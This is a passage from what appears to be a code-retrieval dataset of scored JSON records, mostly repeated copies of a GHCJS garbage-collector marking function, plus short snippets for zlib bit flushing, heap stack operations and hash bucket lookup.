work[w++] = d5.d4;; break;\n case 6: var d6=c.d2; { work[w++] = c.d1; work[w++] = d6.d1; work[w++] = d6.d2; work[w++] = d6.d3; }; { work[w++] = d6.d4; work[w++] = d6.d5; }; break;\n case 7: var d7=c.d2; { work[w++] = c.d1; work[w++] = d7.d1; work[w++] = d7.d2; work[w++] = d7.d3; }; { work[w++] = d7.d4; work[w++] = d7.d5; work[w++] = d7.d6; }; break;\n case 8: var d8=c.d2; { work[w++] = c.d1; work[w++] = d8.d1; work[w++] = d8.d2; work[w++] = d8.d3; }; { work[w++] = d8.d4; work[w++] = d8.d5; work[w++] = d8.d6; work[w++] = d8.d7; }; break;\n case 9: var d9=c.d2; { work[w++] = c.d1; work[w++] = d9.d1; work[w++] = d9.d2; work[w++] = d9.d3; }; { work[w++] = d9.d4; work[w++] = d9.d5; work[w++] = d9.d6; work[w++] = d9.d7; }; work[w++] = d9.d8;; break;\n case 10: var d10=c.d2; { work[w++] = c.d1; work[w++] = d10.d1; work[w++] = d10.d2; work[w++] = d10.d3; }; { work[w++] = d10.d4; work[w++] = d10.d5; work[w++] = d10.d6; work[w++] = d10.d7; }; { work[w++] = d10.d8; work[w++] = d10.d9; }; break;\n case 11: var d11=c.d2; { work[w++] = c.d1; work[w++] = d11.d1; work[w++] = d11.d2; work[w++] = d11.d3; }; { work[w++] = d11.d4; work[w++] = d11.d5; work[w++] = d11.d6; work[w++] = d11.d7; }; { work[w++] = d11.d8; work[w++] = d11.d9; work[w++] = d11.d10; }; break;\n case 12: var d12=c.d2; { work[w++] = c.d1; work[w++] = d12.d1; work[w++] = d12.d2; work[w++] = d12.d3; }; { work[w++] = d12.d4; work[w++] = d12.d5; work[w++] = d12.d6; work[w++] = d12.d7; }; { work[w++] = d12.d8; work[w++] = d12.d9; work[w++] = d12.d10; work[w++] = d12.d11; }; break;\n default: w = h$followObjGen(c,work,w);\n }\n // static references\n var s = cf.s;\n if(s !== null) {\n ;\n for(var i=0;i<s.length;i++) work[w++] = s[i];;\n }\n } else if(c instanceof h$Weak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n } else if(c instanceof h$MVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n iter = c.writers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii[1];; // value\n work[w++] = ii[0];; // thread\n }\n iter = c.readers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii;;\n }\n if(c.waiters) {\n for(i=c.waiters.length-1;i>=0;i--) {\n work[w++] = c.waiters[i];;\n }\n }\n if(c.val !== null && !((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) work[w++] = c.val;;\n } else if(c instanceof h$MutVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n } else if(c instanceof h$TVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n iter = c.blocked.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n if(c.invariants) {\n iter = c.invariants.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n }\n } else if(c instanceof h$Thread) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.stack) {\n for(i=c.sp;i>=0;i--) {\n work[w++] = c.stack[i];;\n }\n }\n for(i=0;i<c.excep.length;i++) {\n work[w++] = c.excep[i];;\n }\n } else if(c instanceof h$Transaction) {\n // - the accessed TVar values don't need to be marked\n // - parents are also on the stack, so they should've been marked already\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n for(i=c.invariants.length-1;i>=0;i--) {\n work[w++] = c.invariants[i].action;;\n }\n work[w++] = c.action;;\n iter = c.tvars.iter();\n while((ii = iter.nextVal()) !== null) {\n work[w++] = ii.val;;\n }\n } else if(c instanceof Array && c.__ghcjsArray) {\n // only for Haskell arrays with lifted values\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n ;\n for(i=0;i<c.length;i++) {\n var x = c[i];\n if(typeof x === 'object' && x !== null && !((typeof x.m === 'number' && (x.m & 3) === mark) || (typeof x.m === 'object' && ((x.m.m & 3) === mark)))) {\n work[w++] = x;;\n }\n }\n } else if(typeof c === 'object') {\n ;\n for(i=h$extensibleRetentionCallbacks.length-1;i>=0;i--) {\n var x = h$extensibleRetentionCallbacks[i](c, mark);\n if(x === false) continue;\n if(x !== true) {\n for(j=x.length-1;j>=0;j--) {\n work[w++] = x[j];;\n }\n }\n break;\n }\n } // otherwise: not an object, no followable values\n }\n }\n ;\n}", "title": "" }, { "docid": "43b4bc8dc96be5aeeebe375b1825830b", "score": "0.4556318", "text": "function h$follow(obj, sp) {\n var i, ii, iter, c, work, w;\n ;\n var work, mark = h$gcMark;\n if(typeof sp === 'number') {\n work = obj.slice(0, sp+1);\n w = sp + 1;\n } else {\n work = [obj];\n w = 1;\n }\n while(w > 0) {\n ;\n c = work[--w];\n ;\n if(c !== null && c !== undefined && typeof c === 'object' && ((typeof c.m === 'number' && (c.m&3) !== mark) || (typeof c.m === 'object' && c.m !== null && typeof c.m.m === 'number' && (c.m.m&3) !== mark))) {\n var doMark = false;\n var cf = c.f;\n ;\n if(typeof cf === 'function' && (typeof c.m === 'number' || typeof c.m === 'object')) {\n ;\n // only change the two least significant bits for heap objects\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n // dynamic references\n var d = c.d2;\n switch(cf.size) {\n case 0: break;\n case 1: work[w++] = c.d1;; break;\n case 2: { work[w++] = c.d1; work[w++] = d; }; break;\n case 3: var d3=c.d2; { work[w++] = c.d1; work[w++] = d3.d1; work[w++] = d3.d2; }; break;\n case 4: var d4=c.d2; { work[w++] = c.d1; work[w++] = d4.d1; work[w++] = d4.d2; work[w++] = d4.d3; }; break;\n case 5: var d5=c.d2; { work[w++] = c.d1; work[w++] = d5.d1; work[w++] = d5.d2; work[w++] = d5.d3; }; work[w++] = d5.d4;; break;\n case 6: var d6=c.d2; { work[w++] = c.d1; work[w++] = d6.d1; work[w++] = d6.d2; work[w++] = d6.d3; }; { work[w++] = d6.d4; work[w++] = d6.d5; }; break;\n case 7: var d7=c.d2; { work[w++] = c.d1; work[w++] = d7.d1; work[w++] = d7.d2; work[w++] = d7.d3; }; { work[w++] = d7.d4; work[w++] = d7.d5; work[w++] = d7.d6; }; break;\n case 8: var d8=c.d2; { work[w++] = c.d1; work[w++] = d8.d1; work[w++] = d8.d2; work[w++] = d8.d3; }; { work[w++] = d8.d4; work[w++] = d8.d5; work[w++] = d8.d6; work[w++] = d8.d7; }; break;\n case 9: var d9=c.d2; { work[w++] = c.d1; work[w++] = d9.d1; work[w++] = d9.d2; work[w++] = d9.d3; }; { work[w++] = d9.d4; work[w++] = d9.d5; work[w++] = d9.d6; work[w++] = d9.d7; }; work[w++] = d9.d8;; break;\n case 10: var d10=c.d2; { work[w++] = c.d1; work[w++] = d10.d1; work[w++] = d10.d2; work[w++] = d10.d3; }; { work[w++] = d10.d4; work[w++] = d10.d5; work[w++] = d10.d6; work[w++] = d10.d7; }; { work[w++] = d10.d8; work[w++] = d10.d9; }; break;\n case 11: var d11=c.d2; { work[w++] = c.d1; work[w++] = d11.d1; work[w++] = d11.d2; work[w++] = d11.d3; }; { work[w++] = d11.d4; work[w++] = d11.d5; work[w++] = d11.d6; work[w++] = d11.d7; }; { work[w++] = d11.d8; work[w++] = d11.d9; work[w++] = d11.d10; }; break;\n case 12: var d12=c.d2; { work[w++] = c.d1; work[w++] = d12.d1; work[w++] = d12.d2; work[w++] = d12.d3; }; { work[w++] = d12.d4; work[w++] = d12.d5; work[w++] = d12.d6; work[w++] = d12.d7; }; { work[w++] = d12.d8; work[w++] = d12.d9; work[w++] = d12.d10; work[w++] = d12.d11; }; break;\n default: w = h$followObjGen(c,work,w);\n }\n // static references\n var s = cf.s;\n if(s !== null) {\n ;\n for(var i=0;i<s.length;i++) work[w++] = s[i];;\n }\n } else if(c instanceof h$Weak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n } else if(c instanceof h$MVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n iter = c.writers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii[1];; // value\n work[w++] = ii[0];; // thread\n }\n iter = c.readers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii;;\n }\n if(c.waiters) {\n for(i=c.waiters.length-1;i>=0;i--) {\n work[w++] = c.waiters[i];;\n }\n }\n if(c.val !== null && !((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) work[w++] = c.val;;\n } else if(c instanceof h$MutVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n } else if(c instanceof h$TVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n iter = c.blocked.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n if(c.invariants) {\n iter = c.invariants.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n }\n } else if(c instanceof h$Thread) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.stack) {\n for(i=c.sp;i>=0;i--) {\n work[w++] = c.stack[i];;\n }\n }\n for(i=0;i<c.excep.length;i++) {\n work[w++] = c.excep[i];;\n }\n } else if(c instanceof h$Transaction) {\n // - the accessed TVar values don't need to be marked\n // - parents are also on the stack, so they should've been marked already\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n for(i=c.invariants.length-1;i>=0;i--) {\n work[w++] = c.invariants[i].action;;\n }\n work[w++] = c.action;;\n iter = c.tvars.iter();\n while((ii = iter.nextVal()) !== null) {\n work[w++] = ii.val;;\n }\n } else if(c instanceof Array && c.__ghcjsArray) {\n // only for Haskell arrays with lifted values\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n ;\n for(i=0;i<c.length;i++) {\n var x = c[i];\n if(typeof x === 'object' && x !== null && !((typeof x.m === 'number' && (x.m & 3) === mark) || (typeof x.m === 'object' && ((x.m.m & 3) === mark)))) {\n work[w++] = x;;\n }\n }\n } else if(typeof c === 'object') {\n ;\n for(i=h$extensibleRetentionCallbacks.length-1;i>=0;i--) {\n var x = h$extensibleRetentionCallbacks[i](c, mark);\n if(x === false) continue;\n if(x !== true) {\n for(j=x.length-1;j>=0;j--) {\n work[w++] = x[j];;\n }\n }\n break;\n }\n } // otherwise: not an object, no followable values\n }\n }\n ;\n}", "title": "" }, { "docid": "d470dbecbad5f8977d6f4e97113a766f", "score": "0.4556318", "text": "function h$follow(obj, sp) {\n var i, ii, iter, c, work, w;\n ;\n var work, mark = h$gcMark;\n if(typeof sp === 'number') {\n work = obj.slice(0, sp+1);\n w = sp + 1;\n } else {\n work = [obj];\n w = 1;\n }\n while(w > 0) {\n ;\n c = work[--w];\n ;\n if(c !== null && c !== undefined && typeof c === 'object' && ((typeof c.m === 'number' && (c.m&3) !== mark) || (typeof c.m === 'object' && c.m !== null && typeof c.m.m === 'number' && (c.m.m&3) !== mark))) {\n var doMark = false;\n var cf = c.f;\n ;\n if(typeof cf === 'function' && (typeof c.m === 'number' || typeof c.m === 'object')) {\n ;\n // only change the two least significant bits for heap objects\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n // dynamic references\n var d = c.d2;\n switch(cf.size) {\n case 0: break;\n case 1: work[w++] = c.d1;; break;\n case 2: { work[w++] = c.d1; work[w++] = d; }; break;\n case 3: var d3=c.d2; { work[w++] = c.d1; work[w++] = d3.d1; work[w++] = d3.d2; }; break;\n case 4: var d4=c.d2; { work[w++] = c.d1; work[w++] = d4.d1; work[w++] = d4.d2; work[w++] = d4.d3; }; break;\n case 5: var d5=c.d2; { work[w++] = c.d1; work[w++] = d5.d1; work[w++] = d5.d2; work[w++] = d5.d3; }; work[w++] = d5.d4;; break;\n case 6: var d6=c.d2; { work[w++] = c.d1; work[w++] = d6.d1; work[w++] = d6.d2; work[w++] = d6.d3; }; { work[w++] = d6.d4; work[w++] = d6.d5; }; break;\n case 7: var d7=c.d2; { work[w++] = c.d1; work[w++] = d7.d1; work[w++] = d7.d2; work[w++] = d7.d3; }; { work[w++] = d7.d4; work[w++] = d7.d5; work[w++] = d7.d6; }; break;\n case 8: var d8=c.d2; { work[w++] = c.d1; work[w++] = d8.d1; work[w++] = d8.d2; work[w++] = d8.d3; }; { work[w++] = d8.d4; work[w++] = d8.d5; work[w++] = d8.d6; work[w++] = d8.d7; }; break;\n case 9: var d9=c.d2; { work[w++] = c.d1; work[w++] = d9.d1; work[w++] = d9.d2; work[w++] = d9.d3; }; { work[w++] = d9.d4; work[w++] = d9.d5; work[w++] = d9.d6; work[w++] = d9.d7; }; work[w++] = d9.d8;; break;\n case 10: var d10=c.d2; { work[w++] = c.d1; work[w++] = d10.d1; work[w++] = d10.d2; work[w++] = d10.d3; }; { work[w++] = d10.d4; work[w++] = d10.d5; work[w++] = d10.d6; work[w++] = d10.d7; }; { work[w++] = d10.d8; work[w++] = d10.d9; }; break;\n case 11: var d11=c.d2; { work[w++] = c.d1; work[w++] = d11.d1; work[w++] = d11.d2; work[w++] = d11.d3; }; { work[w++] = d11.d4; work[w++] = d11.d5; work[w++] = d11.d6; work[w++] = d11.d7; }; { work[w++] = d11.d8; work[w++] = d11.d9; work[w++] = d11.d10; }; break;\n case 12: var d12=c.d2; { work[w++] = c.d1; work[w++] = d12.d1; work[w++] = d12.d2; work[w++] = d12.d3; }; { work[w++] = d12.d4; work[w++] = d12.d5; work[w++] = d12.d6; work[w++] = d12.d7; }; { work[w++] = d12.d8; work[w++] = d12.d9; work[w++] = d12.d10; work[w++] = d12.d11; }; break;\n default: w = h$followObjGen(c,work,w);\n }\n // static references\n var s = cf.s;\n if(s !== null) {\n ;\n for(var i=0;i<s.length;i++) work[w++] = s[i];;\n }\n } else if(c instanceof h$FastWeak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.ticket !== null && !((typeof c.ticket.m === 'number' && (c.ticket.m & 3) === mark) || (typeof c.ticket.m === 'object' && ((c.ticket.m.m & 3) === mark)))) {\n c.ticket = null; // If the ticket isn't reachable, this will let it get cleaned up by the JS gc; if it is reachable, it'll fill this back in\n }\n } else if(c instanceof h$FastWeakTicket) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(!((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) {\n work[w++] = c.val;;\n }\n if(((typeof c.weak.m === 'number' && (c.weak.m & 3) === mark) || (typeof c.weak.m === 'object' && ((c.weak.m.m & 3) === mark)))) {\n // In this case, the weak side has been marked first, which means it's been cleared; restore it\n c.weak.ticket = c;\n }\n } else if(c instanceof h$FastWeakBag) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n var j = 0; // j should always be equal to the number of not-yet-necessarily-dead tickets that have been traversed; this should always be less than or equal to i\n for(i = 0; i < c.tickets.length; i++) {\n // Any nulls left in the array prior to checking on the tickets must be tickets that died in the last GC, so we ignore them\n if(c.tickets[i] !== null) {\n if(j !== i) {\n c.tickets[i].pos = j;\n }\n if(!((typeof c.tickets[i].m === 'number' && (c.tickets[i].m & 3) === mark) || (typeof c.tickets[i].m === 'object' && ((c.tickets[i].m.m & 3) === mark)))) {\n // If the ticket isn't reachable, this will let it get cleaned up by the JS gc; if it is reachable, it'll fill this back in\n c.tickets[j] = null;\n } else if(j !== i) {\n // We need to move the item\n c.tickets[j] = c.tickets[i];\n } // If it's marked and not moving, don't do anything\n j++;\n }\n }\n c.tickets.length = j; // Shrink the array if any nulls have been dropped\n } else if(c instanceof h$FastWeakBagTicket) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(!((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) {\n work[w++] = c.val;;\n }\n if(((typeof c.bag.m === 'number' && (c.bag.m & 3) === mark) || (typeof c.bag.m === 'object' && ((c.bag.m.m & 3) === mark)))) {\n // In this case, the weak side has been marked first, which means it's been cleared; restore it\n c.bag.tickets[c.pos] = c;\n }\n } else if(c instanceof h$Weak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n } else if(c instanceof h$MVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n iter = c.writers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii[1];; // value\n work[w++] = ii[0];; // thread\n }\n iter = c.readers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii;;\n }\n if(c.waiters) {\n for(i=c.waiters.length-1;i>=0;i--) {\n work[w++] = c.waiters[i];;\n }\n }\n if(c.val !== null && !((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) work[w++] = c.val;;\n } else if(c instanceof h$MutVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n } else if(c instanceof h$TVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n iter = c.blocked.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n if(c.invariants) {\n iter = c.invariants.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n }\n } else if(c instanceof h$Thread) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.stack) {\n for(i=c.sp;i>=0;i--) {\n work[w++] = c.stack[i];;\n }\n }\n for(i=0;i<c.excep.length;i++) {\n work[w++] = c.excep[i];;\n }\n } else if(c instanceof h$Transaction) {\n // - the accessed TVar values don't need to be marked\n // - parents are also on the stack, so they should've been marked already\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n for(i=c.invariants.length-1;i>=0;i--) {\n work[w++] = c.invariants[i].action;;\n }\n work[w++] = c.action;;\n iter = c.tvars.iter();\n while((ii = iter.nextVal()) !== null) {\n work[w++] = ii.val;;\n }\n } else if(c instanceof Array && c.__ghcjsArray) {\n // only for Haskell arrays with lifted values\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n ;\n for(i=0;i<c.length;i++) {\n var x = c[i];\n if(typeof x === 'object' && x !== null && !((typeof x.m === 'number' && (x.m & 3) === mark) || (typeof x.m === 'object' && ((x.m.m & 3) === mark)))) {\n work[w++] = x;;\n }\n }\n } else if(typeof c === 'object') {\n ;\n for(i=h$extensibleRetentionCallbacks.length-1;i>=0;i--) {\n var x = h$extensibleRetentionCallbacks[i](c, mark);\n if(x === false) continue;\n if(x !== true) {\n for(j=x.length-1;j>=0;j--) {\n work[w++] = x[j];;\n }\n }\n break;\n }\n } // otherwise: not an object, no followable values\n }\n }\n ;\n}", "title": "" }, { "docid": "43b4bc8dc96be5aeeebe375b1825830b", "score": "0.4556318", "text": "function h$follow(obj, sp) {\n var i, ii, iter, c, work, w;\n ;\n var work, mark = h$gcMark;\n if(typeof sp === 'number') {\n work = obj.slice(0, sp+1);\n w = sp + 1;\n } else {\n work = [obj];\n w = 1;\n }\n while(w > 0) {\n ;\n c = work[--w];\n ;\n if(c !== null && c !== undefined && typeof c === 'object' && ((typeof c.m === 'number' && (c.m&3) !== mark) || (typeof c.m === 'object' && c.m !== null && typeof c.m.m === 'number' && (c.m.m&3) !== mark))) {\n var doMark = false;\n var cf = c.f;\n ;\n if(typeof cf === 'function' && (typeof c.m === 'number' || typeof c.m === 'object')) {\n ;\n // only change the two least significant bits for heap objects\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n // dynamic references\n var d = c.d2;\n switch(cf.size) {\n case 0: break;\n case 1: work[w++] = c.d1;; break;\n case 2: { work[w++] = c.d1; work[w++] = d; }; break;\n case 3: var d3=c.d2; { work[w++] = c.d1; work[w++] = d3.d1; work[w++] = d3.d2; }; break;\n case 4: var d4=c.d2; { work[w++] = c.d1; work[w++] = d4.d1; work[w++] = d4.d2; work[w++] = d4.d3; }; break;\n case 5: var d5=c.d2; { work[w++] = c.d1; work[w++] = d5.d1; work[w++] = d5.d2; work[w++] = d5.d3; }; work[w++] = d5.d4;; break;\n case 6: var d6=c.d2; { work[w++] = c.d1; work[w++] = d6.d1; work[w++] = d6.d2; work[w++] = d6.d3; }; { work[w++] = d6.d4; work[w++] = d6.d5; }; break;\n case 7: var d7=c.d2; { work[w++] = c.d1; work[w++] = d7.d1; work[w++] = d7.d2; work[w++] = d7.d3; }; { work[w++] = d7.d4; work[w++] = d7.d5; work[w++] = d7.d6; }; break;\n case 8: var d8=c.d2; { work[w++] = c.d1; work[w++] = d8.d1; work[w++] = d8.d2; work[w++] = d8.d3; }; { work[w++] = d8.d4; work[w++] = d8.d5; work[w++] = d8.d6; work[w++] = d8.d7; }; break;\n case 9: var d9=c.d2; { work[w++] = c.d1; work[w++] = d9.d1; work[w++] = d9.d2; work[w++] = d9.d3; }; { work[w++] = d9.d4; work[w++] = d9.d5; work[w++] = d9.d6; work[w++] = d9.d7; }; work[w++] = d9.d8;; break;\n case 10: var d10=c.d2; { work[w++] = c.d1; work[w++] = d10.d1; work[w++] = d10.d2; work[w++] = d10.d3; }; { work[w++] = d10.d4; work[w++] = d10.d5; work[w++] = d10.d6; work[w++] = d10.d7; }; { work[w++] = d10.d8; work[w++] = d10.d9; }; break;\n case 11: var d11=c.d2; { work[w++] = c.d1; work[w++] = d11.d1; work[w++] = d11.d2; work[w++] = d11.d3; }; { work[w++] = d11.d4; work[w++] = d11.d5; work[w++] = d11.d6; work[w++] = d11.d7; }; { work[w++] = d11.d8; work[w++] = d11.d9; work[w++] = d11.d10; }; break;\n case 12: var d12=c.d2; { work[w++] = c.d1; work[w++] = d12.d1; work[w++] = d12.d2; work[w++] = d12.d3; }; { work[w++] = d12.d4; work[w++] = d12.d5; work[w++] = d12.d6; work[w++] = d12.d7; }; { work[w++] = d12.d8; work[w++] = d12.d9; work[w++] = d12.d10; work[w++] = d12.d11; }; break;\n default: w = h$followObjGen(c,work,w);\n }\n // static references\n var s = cf.s;\n if(s !== null) {\n ;\n for(var i=0;i<s.length;i++) work[w++] = s[i];;\n }\n } else if(c instanceof h$Weak) {\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n } else if(c instanceof h$MVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n iter = c.writers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii[1];; // value\n work[w++] = ii[0];; // thread\n }\n iter = c.readers.iter();\n while((ii = iter()) !== null) {\n work[w++] = ii;;\n }\n if(c.waiters) {\n for(i=c.waiters.length-1;i>=0;i--) {\n work[w++] = c.waiters[i];;\n }\n }\n if(c.val !== null && !((typeof c.val.m === 'number' && (c.val.m & 3) === mark) || (typeof c.val.m === 'object' && ((c.val.m.m & 3) === mark)))) work[w++] = c.val;;\n } else if(c instanceof h$MutVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n } else if(c instanceof h$TVar) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n work[w++] = c.val;;\n iter = c.blocked.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n if(c.invariants) {\n iter = c.invariants.iter();\n while((ii = iter.next()) !== null) {\n work[w++] = ii;;\n }\n }\n } else if(c instanceof h$Thread) {\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n if(c.stack) {\n for(i=c.sp;i>=0;i--) {\n work[w++] = c.stack[i];;\n }\n }\n for(i=0;i<c.excep.length;i++) {\n work[w++] = c.excep[i];;\n }\n } else if(c instanceof h$Transaction) {\n // - the accessed TVar values don't need to be marked\n // - parents are also on the stack, so they should've been marked already\n ;\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n for(i=c.invariants.length-1;i>=0;i--) {\n work[w++] = c.invariants[i].action;;\n }\n work[w++] = c.action;;\n iter = c.tvars.iter();\n while((ii = iter.nextVal()) !== null) {\n work[w++] = ii.val;;\n }\n } else if(c instanceof Array && c.__ghcjsArray) {\n // only for Haskell arrays with lifted values\n if(typeof c.m === 'number') c.m = (c.m&-4)|mark; else c.m.m = (c.m.m & -4)|mark;;\n ;\n for(i=0;i<c.length;i++) {\n var x = c[i];\n if(typeof x === 'object' && x !== null && !((typeof x.m === 'number' && (x.m & 3) === mark) || (typeof x.m === 'object' && ((x.m.m & 3) === mark)))) {\n work[w++] = x;;\n }\n }\n } else if(typeof c === 'object') {\n ;\n for(i=h$extensibleRetentionCallbacks.length-1;i>=0;i--) {\n var x = h$extensibleRetentionCallbacks[i](c, mark);\n if(x === false) continue;\n if(x !== true) {\n for(j=x.length-1;j>=0;j--) {\n work[w++] = x[j];;\n }\n }\n break;\n }\n } // otherwise: not an object, no followable values\n }\n }\n ;\n}", "title": "" }, { "docid": "86dd617b44f91819ad606641eefa4155", "score": "0.4549248", "text": "function bi_windup(s){if(s.bi_valid>8){put_short(s,s.bi_buf);}else if(s.bi_valid>0){//put_byte(s, (Byte)s->bi_buf);\ns.pending_buf[s.pending++]=s.bi_buf;}s.bi_buf=0;s.bi_valid=0;}", "title": "" }, { "docid": "62dc1395dfdedabea9b5032dec2a025c", "score": "0.45482916", "text": "function PUSH_OS() {\n B = HEAP[OS + LAST_CHILD_SLOT]; // address of current top of OS\n B = B + 1;\n HEAP[OS + LAST_CHILD_SLOT] = B; // update address of current top of OS\n HEAP[OS + B] = A;\n}", "title": "" }, { "docid": "3e5362403b7afb77ce7e08dc8271818e", "score": "0.45464596", "text": "function EXTEND() {\n TEMP_ROOT = A;\n A = HEAP[A + SIZE_SLOT] - ENV_BK_SIZE + B;\n NEW_ENVIRONMENT();\n for (\n B = HEAP[TEMP_ROOT + FIRST_CHILD_SLOT];\n B <= HEAP[TEMP_ROOT + LAST_CHILD_SLOT];\n B = B + 1\n ) {\n HEAP[RES + B] = HEAP[TEMP_ROOT + B];\n }\n TEMP_ROOT = -1;\n}", "title": "" }, { "docid": "e55f52e63c1254ad0e9d9808737cdeab", "score": "0.45418304", "text": "retrieve() {\n\t\tlet address = this._pop();\n\t\tthis._push(this.heap[address]);\n\t}", "title": "" }, { "docid": "45e8c3f6e819327d3cff7753deb49fd6", "score": "0.45415884", "text": "function zexec(si){ L=64+256*si; for(j=64;j<120;j++){nadd[j]=L;L+=1;}; // Set addresses for Local Registers\n LL=100*si; for(j=LL;j<LL+100;j++){taboff[j]=0;}; // Find the address for each TAB\n L=12000*si; for(j=0;j<linecount[si];j++) { zv[L]/=4;\n if(zv[L]==41){taboff[LL+zv[L+4]%100]=L%12000}; // Combine address with offsets\n if(zv[L+3]==217){zv[L+3]+=zv[L+4];zv[L+4]=0;}; // Set VARB addresses\n if(zv[L+6]==217){zv[L+6]+=zv[L+7];zv[L+7]=0;}; \n if(zv[L+9]==217){zv[L+9]+=zv[L+10];zv[L+10]=0;}; \n\n zv[L+4]+=nadd[zv[L+3]];zv[L+7]+=nadd[zv[L+6]];zv[L+10]+=nadd[zv[L+9]]; \n zv[L+5]=nadd[zv[L+5]]; zv[L+8]=nadd[zv[L+8]]; zv[L+11]=nadd[zv[L+11]]; L+=12; }; }", "title": "" }, { "docid": "c97d80fa3c63b101c1b9b954a2d6bffa", "score": "0.45341897", "text": "function bucketMem(s, b){\n\tvar tmp = b;\n\twhile(tmp !== undefined && tmp !== null){\n\t\tif(tmp.e.word === s)\n\t\t\treturn true;\n\t\ttmp = tmp.nextBucket;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "549bcf6eb539cb5e673a31ad21d78fb3", "score": "0.45317602", "text": "function roffer(sa){c=linecount[sa]; d=256*sa; for(i=0;i<256;i++){poffset[d+i]=0;};e=12000*sa; \n for(b=0;b<c;b++){f=zv[e+1];if(f>0){poffset[f+d]=e-12;};e+=12; }; }", "title": "" }, { "docid": "911625d525c1b29dc149ea1cf8abfe5d", "score": "0.45122176", "text": "_findSlot(key) {\n //hashString() = used to calculate the hash of the key\n const hash = 